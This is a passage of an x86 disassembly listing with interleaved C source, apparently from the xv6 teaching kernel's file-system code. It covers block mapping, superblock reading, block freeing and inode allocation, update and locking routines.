801012cd: c7 04 24 71 70 10 80 movl $0x80107071,(%esp)
801012d4: e8 87 f0 ff ff call 80100360 <panic>
801012d9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801012e0 <bmap>:
// Return the disk block address of the nth block in inode ip.
// If there is no such block, bmap allocates one.
static uint
bmap(struct inode *ip, uint bn)
{
801012e0: 55 push %ebp
801012e1: 89 e5 mov %esp,%ebp
801012e3: 57 push %edi
801012e4: 56 push %esi
801012e5: 53 push %ebx
801012e6: 89 c3 mov %eax,%ebx
801012e8: 83 ec 1c sub $0x1c,%esp
uint addr, *a;
struct buf *bp;
if(bn < NDIRECT){
801012eb: 83 fa 0b cmp $0xb,%edx
801012ee: 77 18 ja 80101308 <bmap+0x28>
801012f0: 8d 34 90 lea (%eax,%edx,4),%esi
if((addr = ip->addrs[bn]) == 0)
801012f3: 8b 46 5c mov 0x5c(%esi),%eax
801012f6: 85 c0 test %eax,%eax
801012f8: 74 66 je 80101360 <bmap+0x80>
brelse(bp);
return addr;
}
panic("bmap: out of range");
}
801012fa: 83 c4 1c add $0x1c,%esp
801012fd: 5b pop %ebx
801012fe: 5e pop %esi
801012ff: 5f pop %edi
80101300: 5d pop %ebp
80101301: c3 ret
80101302: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
if(bn < NDIRECT){
if((addr = ip->addrs[bn]) == 0)
ip->addrs[bn] = addr = balloc(ip->dev);
return addr;
}
bn -= NDIRECT;
80101308: 8d 72 f4 lea -0xc(%edx),%esi
if(bn < NINDIRECT){
8010130b: 83 fe 7f cmp $0x7f,%esi
8010130e: 77 77 ja 80101387 <bmap+0xa7>
// Load indirect block, allocating if necessary.
if((addr = ip->addrs[NDIRECT]) == 0)
80101310: 8b 80 8c 00 00 00 mov 0x8c(%eax),%eax
80101316: 85 c0 test %eax,%eax
80101318: 74 5e je 80101378 <bmap+0x98>
ip->addrs[NDIRECT] = addr = balloc(ip->dev);
bp = bread(ip->dev, addr);
8010131a: 89 44 24 04 mov %eax,0x4(%esp)
8010131e: 8b 03 mov (%ebx),%eax
80101320: 89 04 24 mov %eax,(%esp)
80101323: e8 a8 ed ff ff call 801000d0 <bread>
a = (uint*)bp->data;
if((addr = a[bn]) == 0){
80101328: 8d 54 b0 5c lea 0x5c(%eax,%esi,4),%edx
if(bn < NINDIRECT){
// Load indirect block, allocating if necessary.
if((addr = ip->addrs[NDIRECT]) == 0)
ip->addrs[NDIRECT] = addr = balloc(ip->dev);
bp = bread(ip->dev, addr);
8010132c: 89 c7 mov %eax,%edi
a = (uint*)bp->data;
if((addr = a[bn]) == 0){
8010132e: 8b 32 mov (%edx),%esi
80101330: 85 f6 test %esi,%esi
80101332: 75 19 jne 8010134d <bmap+0x6d>
a[bn] = addr = balloc(ip->dev);
80101334: 8b 03 mov (%ebx),%eax
80101336: 89 55 e4 mov %edx,-0x1c(%ebp)
80101339: e8 c2 fd ff ff call 80101100 <balloc>
8010133e: 8b 55 e4 mov -0x1c(%ebp),%edx
80101341: 89 02 mov %eax,(%edx)
80101343: 89 c6 mov %eax,%esi
log_write(bp);
80101345: 89 3c 24 mov %edi,(%esp)
80101348: e8 e3 19 00 00 call 80102d30 <log_write>
}
brelse(bp);
8010134d: 89 3c 24 mov %edi,(%esp)
80101350: e8 8b ee ff ff call 801001e0 <brelse>
return addr;
}
panic("bmap: out of range");
}
80101355: 83 c4 1c add $0x1c,%esp
a = (uint*)bp->data;
if((addr = a[bn]) == 0){
a[bn] = addr = balloc(ip->dev);
log_write(bp);
}
brelse(bp);
80101358: 89 f0 mov %esi,%eax
return addr;
}
panic("bmap: out of range");
}
8010135a: 5b pop %ebx
8010135b: 5e pop %esi
8010135c: 5f pop %edi
8010135d: 5d pop %ebp
8010135e: c3 ret
8010135f: 90 nop
uint addr, *a;
struct buf *bp;
if(bn < NDIRECT){
if((addr = ip->addrs[bn]) == 0)
ip->addrs[bn] = addr = balloc(ip->dev);
80101360: 8b 03 mov (%ebx),%eax
80101362: e8 99 fd ff ff call 80101100 <balloc>
80101367: 89 46 5c mov %eax,0x5c(%esi)
brelse(bp);
return addr;
}
panic("bmap: out of range");
}
8010136a: 83 c4 1c add $0x1c,%esp
8010136d: 5b pop %ebx
8010136e: 5e pop %esi
8010136f: 5f pop %edi
80101370: 5d pop %ebp
80101371: c3 ret
80101372: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
bn -= NDIRECT;
if(bn < NINDIRECT){
// Load indirect block, allocating if necessary.
if((addr = ip->addrs[NDIRECT]) == 0)
ip->addrs[NDIRECT] = addr = balloc(ip->dev);
80101378: 8b 03 mov (%ebx),%eax
8010137a: e8 81 fd ff ff call 80101100 <balloc>
8010137f: 89 83 8c 00 00 00 mov %eax,0x8c(%ebx)
80101385: eb 93 jmp 8010131a <bmap+0x3a>
}
brelse(bp);
return addr;
}
panic("bmap: out of range");
80101387: c7 04 24 81 70 10 80 movl $0x80107081,(%esp)
8010138e: e8 cd ef ff ff call 80100360 <panic>
80101393: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80101399: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801013a0 <readsb>:
struct superblock sb;
// Read the super block.
void
readsb(int dev, struct superblock *sb)
{
801013a0: 55 push %ebp
801013a1: 89 e5 mov %esp,%ebp
801013a3: 56 push %esi
801013a4: 53 push %ebx
801013a5: 83 ec 10 sub $0x10,%esp
struct buf *bp;
bp = bread(dev, 1);
801013a8: 8b 45 08 mov 0x8(%ebp),%eax
801013ab: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
801013b2: 00
struct superblock sb;
// Read the super block.
void
readsb(int dev, struct superblock *sb)
{
801013b3: 8b 75 0c mov 0xc(%ebp),%esi
struct buf *bp;
bp = bread(dev, 1);
801013b6: 89 04 24 mov %eax,(%esp)
801013b9: e8 12 ed ff ff call 801000d0 <bread>
memmove(sb, bp->data, sizeof(*sb));
801013be: 89 34 24 mov %esi,(%esp)
801013c1: c7 44 24 08 1c 00 00 movl $0x1c,0x8(%esp)
801013c8: 00
void
readsb(int dev, struct superblock *sb)
{
struct buf *bp;
bp = bread(dev, 1);
801013c9: 89 c3 mov %eax,%ebx
memmove(sb, bp->data, sizeof(*sb));
801013cb: 8d 40 5c lea 0x5c(%eax),%eax
801013ce: 89 44 24 04 mov %eax,0x4(%esp)
801013d2: e8 f9 31 00 00 call 801045d0 <memmove>
brelse(bp);
801013d7: 89 5d 08 mov %ebx,0x8(%ebp)
}
801013da: 83 c4 10 add $0x10,%esp
801013dd: 5b pop %ebx
801013de: 5e pop %esi
801013df: 5d pop %ebp
{
struct buf *bp;
bp = bread(dev, 1);
memmove(sb, bp->data, sizeof(*sb));
brelse(bp);
801013e0: e9 fb ed ff ff jmp 801001e0 <brelse>
801013e5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801013e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801013f0 <bfree>:
}
// Free a disk block.
static void
bfree(int dev, uint b)
{
801013f0: 55 push %ebp
801013f1: 89 e5 mov %esp,%ebp
801013f3: 57 push %edi
801013f4: 89 d7 mov %edx,%edi
801013f6: 56 push %esi
801013f7: 53 push %ebx
801013f8: 89 c3 mov %eax,%ebx
801013fa: 83 ec 1c sub $0x1c,%esp
struct buf *bp;
int bi, m;
readsb(dev, &sb);
801013fd: 89 04 24 mov %eax,(%esp)
80101400: c7 44 24 04 e0 09 11 movl $0x801109e0,0x4(%esp)
80101407: 80
80101408: e8 93 ff ff ff call 801013a0 <readsb>
bp = bread(dev, BBLOCK(b, sb));
8010140d: 89 fa mov %edi,%edx
8010140f: c1 ea 0c shr $0xc,%edx
80101412: 03 15 f8 09 11 80 add 0x801109f8,%edx
80101418: 89 1c 24 mov %ebx,(%esp)
bi = b % BPB;
m = 1 << (bi % 8);
8010141b: bb 01 00 00 00 mov $0x1,%ebx
{
struct buf *bp;
int bi, m;
readsb(dev, &sb);
bp = bread(dev, BBLOCK(b, sb));
80101420: 89 54 24 04 mov %edx,0x4(%esp)
80101424: e8 a7 ec ff ff call 801000d0 <bread>
bi = b % BPB;
m = 1 << (bi % 8);
80101429: 89 f9 mov %edi,%ecx
struct buf *bp;
int bi, m;
readsb(dev, &sb);
bp = bread(dev, BBLOCK(b, sb));
bi = b % BPB;
8010142b: 81 e7 ff 0f 00 00 and $0xfff,%edi
80101431: 89 fa mov %edi,%edx
m = 1 << (bi % 8);
80101433: 83 e1 07 and $0x7,%ecx
if((bp->data[bi/8] & m) == 0)
80101436: c1 fa 03 sar $0x3,%edx
int bi, m;
readsb(dev, &sb);
bp = bread(dev, BBLOCK(b, sb));
bi = b % BPB;
m = 1 << (bi % 8);
80101439: d3 e3 shl %cl,%ebx
{
struct buf *bp;
int bi, m;
readsb(dev, &sb);
bp = bread(dev, BBLOCK(b, sb));
8010143b: 89 c6 mov %eax,%esi
bi = b % BPB;
m = 1 << (bi % 8);
if((bp->data[bi/8] & m) == 0)
8010143d: 0f b6 44 10 5c movzbl 0x5c(%eax,%edx,1),%eax
80101442: 0f b6 c8 movzbl %al,%ecx
80101445: 85 d9 test %ebx,%ecx
80101447: 74 20 je 80101469 <bfree+0x79>
panic("freeing free block");
bp->data[bi/8] &= ~m;
80101449: f7 d3 not %ebx
8010144b: 21 c3 and %eax,%ebx
8010144d: 88 5c 16 5c mov %bl,0x5c(%esi,%edx,1)
log_write(bp);
80101451: 89 34 24 mov %esi,(%esp)
80101454: e8 d7 18 00 00 call 80102d30 <log_write>
brelse(bp);
80101459: 89 34 24 mov %esi,(%esp)
8010145c: e8 7f ed ff ff call 801001e0 <brelse>
}
80101461: 83 c4 1c add $0x1c,%esp
80101464: 5b pop %ebx
80101465: 5e pop %esi
80101466: 5f pop %edi
80101467: 5d pop %ebp
80101468: c3 ret
readsb(dev, &sb);
bp = bread(dev, BBLOCK(b, sb));
bi = b % BPB;
m = 1 << (bi % 8);
if((bp->data[bi/8] & m) == 0)
panic("freeing free block");
80101469: c7 04 24 94 70 10 80 movl $0x80107094,(%esp)
80101470: e8 eb ee ff ff call 80100360 <panic>
80101475: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80101479: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80101480 <iinit>:
struct inode inode[NINODE];
} icache;
void
iinit(int dev)
{
80101480: 55 push %ebp
80101481: 89 e5 mov %esp,%ebp
80101483: 53 push %ebx
80101484: bb 40 0a 11 80 mov $0x80110a40,%ebx
80101489: 83 ec 24 sub $0x24,%esp
int i = 0;
initlock(&icache.lock, "icache");
8010148c: c7 44 24 04 a7 70 10 movl $0x801070a7,0x4(%esp)
80101493: 80
80101494: c7 04 24 00 0a 11 80 movl $0x80110a00,(%esp)
8010149b: e8 80 2e 00 00 call 80104320 <initlock>
for(i = 0; i < NINODE; i++) {
initsleeplock(&icache.inode[i].lock, "inode");
801014a0: 89 1c 24 mov %ebx,(%esp)
801014a3: 81 c3 90 00 00 00 add $0x90,%ebx
801014a9: c7 44 24 04 ae 70 10 movl $0x801070ae,0x4(%esp)
801014b0: 80
801014b1: e8 5a 2d 00 00 call 80104210 <initsleeplock>
iinit(int dev)
{
int i = 0;
initlock(&icache.lock, "icache");
for(i = 0; i < NINODE; i++) {
801014b6: 81 fb 60 26 11 80 cmp $0x80112660,%ebx
801014bc: 75 e2 jne 801014a0 <iinit+0x20>
initsleeplock(&icache.inode[i].lock, "inode");
}
readsb(dev, &sb);
801014be: 8b 45 08 mov 0x8(%ebp),%eax
801014c1: c7 44 24 04 e0 09 11 movl $0x801109e0,0x4(%esp)
801014c8: 80
801014c9: 89 04 24 mov %eax,(%esp)
801014cc: e8 cf fe ff ff call 801013a0 <readsb>
cprintf("sb: size %d nblocks %d ninodes %d nlog %d logstart %d\
801014d1: a1 f8 09 11 80 mov 0x801109f8,%eax
801014d6: c7 04 24 04 71 10 80 movl $0x80107104,(%esp)
801014dd: 89 44 24 1c mov %eax,0x1c(%esp)
801014e1: a1 f4 09 11 80 mov 0x801109f4,%eax
801014e6: 89 44 24 18 mov %eax,0x18(%esp)
801014ea: a1 f0 09 11 80 mov 0x801109f0,%eax
801014ef: 89 44 24 14 mov %eax,0x14(%esp)
801014f3: a1 ec 09 11 80 mov 0x801109ec,%eax
801014f8: 89 44 24 10 mov %eax,0x10(%esp)
801014fc: a1 e8 09 11 80 mov 0x801109e8,%eax
80101501: 89 44 24 0c mov %eax,0xc(%esp)
80101505: a1 e4 09 11 80 mov 0x801109e4,%eax
8010150a: 89 44 24 08 mov %eax,0x8(%esp)
8010150e: a1 e0 09 11 80 mov 0x801109e0,%eax
80101513: 89 44 24 04 mov %eax,0x4(%esp)
80101517: e8 34 f1 ff ff call 80100650 <cprintf>
inodestart %d bmap start %d\n", sb.size, sb.nblocks,
sb.ninodes, sb.nlog, sb.logstart, sb.inodestart,
sb.bmapstart);
}
8010151c: 83 c4 24 add $0x24,%esp
8010151f: 5b pop %ebx
80101520: 5d pop %ebp
80101521: c3 ret
80101522: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80101529: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80101530 <ialloc>:
//PAGEBREAK!
// Allocate a new inode with the given type on device dev.
// A free inode has a type of zero.
struct inode*
ialloc(uint dev, short type)
{
80101530: 55 push %ebp
80101531: 89 e5 mov %esp,%ebp
80101533: 57 push %edi
80101534: 56 push %esi
80101535: 53 push %ebx
80101536: 83 ec 2c sub $0x2c,%esp
80101539: 8b 45 0c mov 0xc(%ebp),%eax
int inum;
struct buf *bp;
struct dinode *dip;
for(inum = 1; inum < sb.ninodes; inum++){
8010153c: 83 3d e8 09 11 80 01 cmpl $0x1,0x801109e8
//PAGEBREAK!
// Allocate a new inode with the given type on device dev.
// A free inode has a type of zero.
struct inode*
ialloc(uint dev, short type)
{
80101543: 8b 7d 08 mov 0x8(%ebp),%edi
80101546: 89 45 e4 mov %eax,-0x1c(%ebp)
int inum;
struct buf *bp;
struct dinode *dip;
for(inum = 1; inum < sb.ninodes; inum++){
80101549: 0f 86 a2 00 00 00 jbe 801015f1 <ialloc+0xc1>
8010154f: be 01 00 00 00 mov $0x1,%esi
80101554: bb 01 00 00 00 mov $0x1,%ebx
80101559: eb 1a jmp 80101575 <ialloc+0x45>
8010155b: 90 nop
8010155c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
dip->type = type;
log_write(bp); // mark it allocated on the disk
brelse(bp);
return iget(dev, inum);
}
brelse(bp);
80101560: 89 14 24 mov %edx,(%esp)
{
int inum;
struct buf *bp;
struct dinode *dip;
for(inum = 1; inum < sb.ninodes; inum++){
80101563: 83 c3 01 add $0x1,%ebx
dip->type = type;
log_write(bp); // mark it allocated on the disk
brelse(bp);
return iget(dev, inum);
}
brelse(bp);
80101566: e8 75 ec ff ff call 801001e0 <brelse>
{
int inum;
struct buf *bp;
struct dinode *dip;
for(inum = 1; inum < sb.ninodes; inum++){
8010156b: 89 de mov %ebx,%esi
8010156d: 3b 1d e8 09 11 80 cmp 0x801109e8,%ebx
80101573: 73 7c jae 801015f1 <ialloc+0xc1>
bp = bread(dev, IBLOCK(inum, sb));
80101575: 89 f0 mov %esi,%eax
80101577: c1 e8 03 shr $0x3,%eax
8010157a: 03 05 f4 09 11 80 add 0x801109f4,%eax
80101580: 89 3c 24 mov %edi,(%esp)
80101583: 89 44 24 04 mov %eax,0x4(%esp)
80101587: e8 44 eb ff ff call 801000d0 <bread>
8010158c: 89 c2 mov %eax,%edx
dip = (struct dinode*)bp->data + inum%IPB;
8010158e: 89 f0 mov %esi,%eax
80101590: 83 e0 07 and $0x7,%eax
80101593: c1 e0 06 shl $0x6,%eax
80101596: 8d 4c 02 5c lea 0x5c(%edx,%eax,1),%ecx
if(dip->type == 0){ // a free inode
8010159a: 66 83 39 00 cmpw $0x0,(%ecx)
8010159e: 75 c0 jne 80101560 <ialloc+0x30>
memset(dip, 0, sizeof(*dip));
801015a0: 89 0c 24 mov %ecx,(%esp)
801015a3: c7 44 24 08 40 00 00 movl $0x40,0x8(%esp)
801015aa: 00
801015ab: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
801015b2: 00
801015b3: 89 55 dc mov %edx,-0x24(%ebp)
801015b6: 89 4d e0 mov %ecx,-0x20(%ebp)
801015b9: e8 62 2f 00 00 call 80104520 <memset>
dip->type = type;
801015be: 0f b7 45 e4 movzwl -0x1c(%ebp),%eax
log_write(bp); // mark it allocated on the disk
801015c2: 8b 55 dc mov -0x24(%ebp),%edx
for(inum = 1; inum < sb.ninodes; inum++){
bp = bread(dev, IBLOCK(inum, sb));
dip = (struct dinode*)bp->data + inum%IPB;
if(dip->type == 0){ // a free inode
memset(dip, 0, sizeof(*dip));
dip->type = type;
801015c5: 8b 4d e0 mov -0x20(%ebp),%ecx
log_write(bp); // mark it allocated on the disk
801015c8: 89 55 e4 mov %edx,-0x1c(%ebp)
for(inum = 1; inum < sb.ninodes; inum++){
bp = bread(dev, IBLOCK(inum, sb));
dip = (struct dinode*)bp->data + inum%IPB;
if(dip->type == 0){ // a free inode
memset(dip, 0, sizeof(*dip));
dip->type = type;
801015cb: 66 89 01 mov %ax,(%ecx)
log_write(bp); // mark it allocated on the disk
801015ce: 89 14 24 mov %edx,(%esp)
801015d1: e8 5a 17 00 00 call 80102d30 <log_write>
brelse(bp);
801015d6: 8b 55 e4 mov -0x1c(%ebp),%edx
801015d9: 89 14 24 mov %edx,(%esp)
801015dc: e8 ff eb ff ff call 801001e0 <brelse>
return iget(dev, inum);
}
brelse(bp);
}
panic("ialloc: no inodes");
}
801015e1: 83 c4 2c add $0x2c,%esp
if(dip->type == 0){ // a free inode
memset(dip, 0, sizeof(*dip));
dip->type = type;
log_write(bp); // mark it allocated on the disk
brelse(bp);
return iget(dev, inum);
801015e4: 89 f2 mov %esi,%edx
}
brelse(bp);
}
panic("ialloc: no inodes");
}
801015e6: 5b pop %ebx
if(dip->type == 0){ // a free inode
memset(dip, 0, sizeof(*dip));
dip->type = type;
log_write(bp); // mark it allocated on the disk
brelse(bp);
return iget(dev, inum);
801015e7: 89 f8 mov %edi,%eax
}
brelse(bp);
}
panic("ialloc: no inodes");
}
801015e9: 5e pop %esi
801015ea: 5f pop %edi
801015eb: 5d pop %ebp
if(dip->type == 0){ // a free inode
memset(dip, 0, sizeof(*dip));
dip->type = type;
log_write(bp); // mark it allocated on the disk
brelse(bp);
return iget(dev, inum);
801015ec: e9 2f fc ff ff jmp 80101220 <iget>
}
brelse(bp);
}
panic("ialloc: no inodes");
801015f1: c7 04 24 b4 70 10 80 movl $0x801070b4,(%esp)
801015f8: e8 63 ed ff ff call 80100360 <panic>
801015fd: 8d 76 00 lea 0x0(%esi),%esi
80101600 <iupdate>:
}
// Copy a modified in-memory inode to disk.
void
iupdate(struct inode *ip)
{
80101600: 55 push %ebp
80101601: 89 e5 mov %esp,%ebp
80101603: 56 push %esi
80101604: 53 push %ebx
80101605: 83 ec 10 sub $0x10,%esp
80101608: 8b 5d 08 mov 0x8(%ebp),%ebx
struct buf *bp;
struct dinode *dip;
bp = bread(ip->dev, IBLOCK(ip->inum, sb));
8010160b: 8b 43 04 mov 0x4(%ebx),%eax
dip->type = ip->type;
dip->major = ip->major;
dip->minor = ip->minor;
dip->nlink = ip->nlink;
dip->size = ip->size;
memmove(dip->addrs, ip->addrs, sizeof(ip->addrs));
8010160e: 83 c3 5c add $0x5c,%ebx
iupdate(struct inode *ip)
{
struct buf *bp;
struct dinode *dip;
bp = bread(ip->dev, IBLOCK(ip->inum, sb));
80101611: c1 e8 03 shr $0x3,%eax
80101614: 03 05 f4 09 11 80 add 0x801109f4,%eax
8010161a: 89 44 24 04 mov %eax,0x4(%esp)
8010161e: 8b 43 a4 mov -0x5c(%ebx),%eax
80101621: 89 04 24 mov %eax,(%esp)
80101624: e8 a7 ea ff ff call 801000d0 <bread>
dip = (struct dinode*)bp->data + ip->inum%IPB;
80101629: 8b 53 a8 mov -0x58(%ebx),%edx
8010162c: 83 e2 07 and $0x7,%edx
8010162f: c1 e2 06 shl $0x6,%edx
80101632: 8d 54 10 5c lea 0x5c(%eax,%edx,1),%edx
iupdate(struct inode *ip)
{
struct buf *bp;
struct dinode *dip;
bp = bread(ip->dev, IBLOCK(ip->inum, sb));
80101636: 89 c6 mov %eax,%esi
dip = (struct dinode*)bp->data + ip->inum%IPB;
dip->type = ip->type;
80101638: 0f b7 43 f4 movzwl -0xc(%ebx),%eax
dip->major = ip->major;
dip->minor = ip->minor;
dip->nlink = ip->nlink;
dip->size = ip->size;
memmove(dip->addrs, ip->addrs, sizeof(ip->addrs));
8010163c: 83 c2 0c add $0xc,%edx
struct buf *bp;
struct dinode *dip;
bp = bread(ip->dev, IBLOCK(ip->inum, sb));
dip = (struct dinode*)bp->data + ip->inum%IPB;
dip->type = ip->type;
8010163f: 66 89 42 f4 mov %ax,-0xc(%edx)
dip->major = ip->major;
80101643: 0f b7 43 f6 movzwl -0xa(%ebx),%eax
80101647: 66 89 42 f6 mov %ax,-0xa(%edx)
dip->minor = ip->minor;
8010164b: 0f b7 43 f8 movzwl -0x8(%ebx),%eax
8010164f: 66 89 42 f8 mov %ax,-0x8(%edx)
dip->nlink = ip->nlink;
80101653: 0f b7 43 fa movzwl -0x6(%ebx),%eax
80101657: 66 89 42 fa mov %ax,-0x6(%edx)
dip->size = ip->size;
8010165b: 8b 43 fc mov -0x4(%ebx),%eax
8010165e: 89 42 fc mov %eax,-0x4(%edx)
memmove(dip->addrs, ip->addrs, sizeof(ip->addrs));
80101661: 89 5c 24 04 mov %ebx,0x4(%esp)
80101665: 89 14 24 mov %edx,(%esp)
80101668: c7 44 24 08 34 00 00 movl $0x34,0x8(%esp)
8010166f: 00
80101670: e8 5b 2f 00 00 call 801045d0 <memmove>
log_write(bp);
80101675: 89 34 24 mov %esi,(%esp)
80101678: e8 b3 16 00 00 call 80102d30 <log_write>
brelse(bp);
8010167d: 89 75 08 mov %esi,0x8(%ebp)
}
80101680: 83 c4 10 add $0x10,%esp
80101683: 5b pop %ebx
80101684: 5e pop %esi
80101685: 5d pop %ebp
dip->minor = ip->minor;
dip->nlink = ip->nlink;
dip->size = ip->size;
memmove(dip->addrs, ip->addrs, sizeof(ip->addrs));
log_write(bp);
brelse(bp);
80101686: e9 55 eb ff ff jmp 801001e0 <brelse>
8010168b: 90 nop
8010168c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80101690 <idup>:
// Increment reference count for ip.
// Returns ip to enable ip = idup(ip1) idiom.
struct inode*
idup(struct inode *ip)
{
80101690: 55 push %ebp
80101691: 89 e5 mov %esp,%ebp
80101693: 53 push %ebx
80101694: 83 ec 14 sub $0x14,%esp
80101697: 8b 5d 08 mov 0x8(%ebp),%ebx
acquire(&icache.lock);
8010169a: c7 04 24 00 0a 11 80 movl $0x80110a00,(%esp)
801016a1: e8 fa 2c 00 00 call 801043a0 <acquire>
ip->ref++;
801016a6: 83 43 08 01 addl $0x1,0x8(%ebx)
release(&icache.lock);
801016aa: c7 04 24 00 0a 11 80 movl $0x80110a00,(%esp)
801016b1: e8 1a 2e 00 00 call 801044d0 <release>
return ip;
}
801016b6: 83 c4 14 add $0x14,%esp
801016b9: 89 d8 mov %ebx,%eax
801016bb: 5b pop %ebx
801016bc: 5d pop %ebp
801016bd: c3 ret
801016be: 66 90 xchg %ax,%ax
801016c0 <ilock>:
// Lock the given inode.
// Reads the inode from disk if necessary.
void
ilock(struct inode *ip)
{
801016c0: 55 push %ebp
801016c1: 89 e5 mov %esp,%ebp
801016c3: 56 push %esi
801016c4: 53 push %ebx
801016c5: 83 ec 10 sub $0x10,%esp
801016c8: 8b 5d 08 mov 0x8(%ebp),%ebx
struct buf *bp;
struct dinode *dip;
if(ip == 0 || ip->ref < 1)
801016cb: 85 db test %ebx,%ebx
801016cd: 0f 84 b0 00 00 00 je 80101783 <ilock+0xc3>
801016d3: 8b 43 08 mov 0x8(%ebx),%eax
801016d6: 85 c0 test %eax,%eax
801016d8: 0f 8e a5 00 00 00 jle 80101783 <ilock+0xc3>
panic("ilock");
acquiresleep(&ip->lock);
801016de: 8d 43 0c lea 0xc(%ebx),%eax
801016e1: 89 04 24 mov %eax,(%esp)
801016e4: e8 67 2b 00 00 call 80104250 <acquiresleep>
if(!(ip->flags & I_VALID)){
801016e9: f6 43 4c 02 testb $0x2,0x4c(%ebx)
801016ed: 74 09 je 801016f8 <ilock+0x38>
brelse(bp);
ip->flags |= I_VALID;
if(ip->type == 0)
panic("ilock: no type");
}
}
801016ef: 83 c4 10 add $0x10,%esp
801016f2: 5b pop %ebx
801016f3: 5e pop %esi
801016f4: 5d pop %ebp
801016f5: c3 ret
801016f6: 66 90 xchg %ax,%ax
panic("ilock");
acquiresleep(&ip->lock);
if(!(ip->flags & I_VALID)){
bp = bread(ip->dev, IBLOCK(ip->inum, sb));
801016f8: 8b 43 04 mov 0x4(%ebx),%eax
801016fb: c1 e8 03 shr $0x3,%eax
801016fe: 03 05 f4 09 11 80 add 0x801109f4,%eax
80101704: 89 44 24 04 mov %eax,0x4(%esp)
80101708: 8b 03 mov (%ebx),%eax
8010170a: 89 04 24 mov %eax,(%esp)
8010170d: e8 be e9 ff ff call 801000d0 <bread>
dip = (struct dinode*)bp->data + ip->inum%IPB;
80101712: 8b 53 04 mov 0x4(%ebx),%edx
80101715: 83 e2 07 and $0x7,%edx
80101718: c1 e2 06 shl $0x6,%edx
8010171b: 8d 54 10 5c lea 0x5c(%eax,%edx,1),%edx
panic("ilock");
acquiresleep(&ip->lock);
if(!(ip->flags & I_VALID)){
bp = bread(ip->dev, IBLOCK(ip->inum, sb));
8010171f: 89 c6 mov %eax,%esi
dip = (struct dinode*)bp->data + ip->inum%IPB;
ip->type = dip->type;
80101721: 0f b7 02 movzwl (%edx),%eax
ip->major = dip->major;
ip->minor = dip->minor;
ip->nlink = dip->nlink;
ip->size = dip->size;
memmove(ip->addrs, dip->addrs, sizeof(ip->addrs));
80101724: 83 c2 0c add $0xc,%edx
acquiresleep(&ip->lock);
if(!(ip->flags & I_VALID)){
bp = bread(ip->dev, IBLOCK(ip->inum, sb));
dip = (struct dinode*)bp->data + ip->inum%IPB;
ip->type = dip->type;
80101727: 66 89 43 50 mov %ax,0x50(%ebx)
ip->major = dip->major;
8010172b: 0f b7 42 f6 movzwl -0xa(%edx),%eax
8010172f: 66 89 43 52 mov %ax,0x52(%ebx)
ip->minor = dip->minor;
80101733: 0f b7 42 f8 movzwl -0x8(%edx),%eax
80101737: 66 89 43 54 mov %ax,0x54(%ebx)
ip->nlink = dip->nlink;
8010173b: 0f b7 42 fa movzwl -0x6(%edx),%eax
8010173f: 66 89 43 56 mov %ax,0x56(%ebx)
ip->size = dip->size;
80101743: 8b 42 fc mov -0x4(%edx),%eax
80101746: 89 43 58 mov %eax,0x58(%ebx)
memmove(ip->addrs, dip->addrs, sizeof(ip->addrs));
80101749: 8d 43 5c lea 0x5c(%ebx),%eax
8010174c: 89 54 24 04 mov %edx,0x4(%esp)
80101750: c7 44 24 08 34 00 00 movl $0x34,0x8(%esp)
80101757: 00
80101758: 89 04 24 mov %eax,(%esp)
8010175b: e8 70 2e 00 00 call 801045d0 <memmove>
brelse(bp);
80101760: 89 34 24 mov %esi,(%esp)
80101763: e8 78 ea ff ff call 801001e0 <brelse>
ip->flags |= I_VALID;
80101768: 83 4b 4c 02 orl $0x2,0x4c(%ebx)
if(ip->type == 0)
8010176c: 66 83 7b 50 00 cmpw $0x0,0x50(%ebx)
80101771: 0f 85 78 ff ff ff jne 801016ef <ilock+0x2f>
panic("ilock: no type");
80101777: c7 04 24 cc 70 10 80 movl $0x801070cc,(%esp)
8010177e: e8 dd eb ff ff call 80100360 <panic>
{
struct buf *bp;
struct dinode *dip;
if(ip == 0 || ip->ref < 1)
panic("ilock");
80101783: c7 04 24 c6 70 10 80 movl $0x801070c6,(%esp)
8010178a: e8 d1 eb ff ff call 80100360 <panic>
8010178f: 90 nop
80101790 <iunlock>:
}
// Unlock the given inode.
void
iunlock(struct inode *ip)
{
80101790: 55 push %ebp
80101791: 89 e5 mov %esp,%ebp
80101793: 56 push %esi
80101794: 53 push %ebx
80101795: 83 ec 10 sub $0x10,%esp
80101798: 8b 5d 08 mov 0x8(%ebp),%ebx
if(ip == 0 || !holdingsleep(&ip->lock) || ip->ref < 1)
8010179b: 85 db test %ebx,%ebx
8010179d: 74 24 je 801017c3 <iunlock+0x33>
8010179f: 8d 73 0c lea 0xc(%ebx),%esi
801017a2: 89 34 24 mov %esi,(%esp)
801017a5: e8 46 2b 00 00 call 801042f0 <holdingsleep>
801017aa: 85 c0 test %eax,%eax
801017ac: 74 15 je 801017c3 <iunlock+0x33>
801017ae: 8b 43 08 mov 0x8(%ebx),%eax
801017b1: 85 c0 test %eax,%eax
801017b3: 7e 0e jle 801017c3 <iunlock+0x33>
panic("iunlock");
releasesleep(&ip->lock);
801017b5: 89 75 08 mov %esi,0x8(%ebp)
}
801017b8: 83 c4 10 add $0x10,%esp
801017bb: 5b pop %ebx
801017bc: 5e pop %esi
801017bd: 5d pop %ebp
iunlock(struct inode *ip)
{
if(ip == 0 || !holdingsleep(&ip->lock) || ip->ref < 1)
panic("iunlock");
releasesleep(&ip->lock);
801017be: e9 ed 2a 00 00 jmp 801042b0 <releasesleep>
// Unlock the given inode.
void
iunlock(struct inode *ip)
{
if(ip == 0 || !holdingsleep(&ip->lock) || ip->ref < 1)
panic("iunlock");
801017c3: c7 04 24 db 70 10 80 movl $0x801070db,(%esp)
801017ca: e8 91 eb ff ff call 80100360 <panic>
801017cf: 90 nop
